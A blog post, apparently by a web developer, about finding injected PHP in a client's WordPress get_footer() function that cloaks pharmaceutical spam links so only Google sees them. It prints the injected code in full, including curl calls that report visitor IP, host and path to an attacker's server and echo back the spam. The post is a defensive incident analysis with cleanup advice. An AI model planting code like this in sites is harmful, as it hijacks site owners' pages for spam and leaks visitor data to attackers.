Link building exploit that only google can see

I was called by a client today who had looked at her site in Google’s cache and was shocked to see spam links for penis pills. When she viewed her site, however, there were no links to be seen. Thinking the hosting provider had fixed the issue, I looked at the most recently-cached item, which was only a few hours old, and saw that the links were still there. The database was clean, and no modified files in the document root or theme.

I assumed that the exploit was still live, but wasn’t showing anything to my browser, so it might be using user-agent cloaking. I tried switching my user-agent to GoogleBot, and still no dice. Then I decided to grep the entire codebase for “USER_AGENT” and see if anything hit. Lo and behold:

$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot

Huh. That seemed odd, so I investigated further and found this:

function get_footer( $name = null ) {
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
if(!(strpos($sUserAgent, 'google') === false)) // Bot comes
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true) // Create bot analitics
$stCurlHandle = curl_init(URL_REMOVED?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']));
} else
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true) // Create bot analitics
$stCurlHandle = curl_init(URL_REMOVED?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&addcheck='.'&check='.isset($_GET['look']));
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
$sResult = curl_exec($stCurlHandle);
echo $sResult; // Statistic code end

I compared this to a clean WordPress install and all the “statistics” code was missing. It’s pretty clear this is injected code, and is checking both the user-agent string AND the source IP address, which is why I couldn’t see the links even when I set my user-agent string to Googlebot’s. Smart. And, the script “calls home” to check the IP, so not only does the attacker have the ability to change cloaked IP blocks easily (and without having to re-upload a script) but they have a record of which sites have been successfully attacked.

The question of how the injected code was introduced was the next challenge. I ran a UNIX find query and found yet another file that contained the above. It also contained code to inject itself into PHPNuke, VBulletin, and Joomla in addition to WordPress. The injection code also includes a cleanup function, which was not invoked by this particular attacker. I found the file at: ./wp-includes/js/tinymce/plugins/plugin.php on my install.

After checking the FTP logs, I discovered someone from a Belize-based IP address had uploaded the above file and executed the script to inject the code. Cleanup was a matter of changing the FTP password, checking for extra WordPress accounts, and re-installing WordPress from a fresh install. I’m not certain how the attacker got my client’s FTP password, so I asked her to scan her PC and all her current employee’s PCs and gave her the new password over the phone rather than email.

If you’ve looked in Google’s cache and are seeing pharmaceutical links in the footer (that you didn’t put there!), or are noticing that Webmaster Tools is saying your site is about viagra, you may have the above problem. You can verify by looking for the above code snippet. If you are a victim, change your hosting credentials, scan your PC, and install from a fresh copy of WordPress.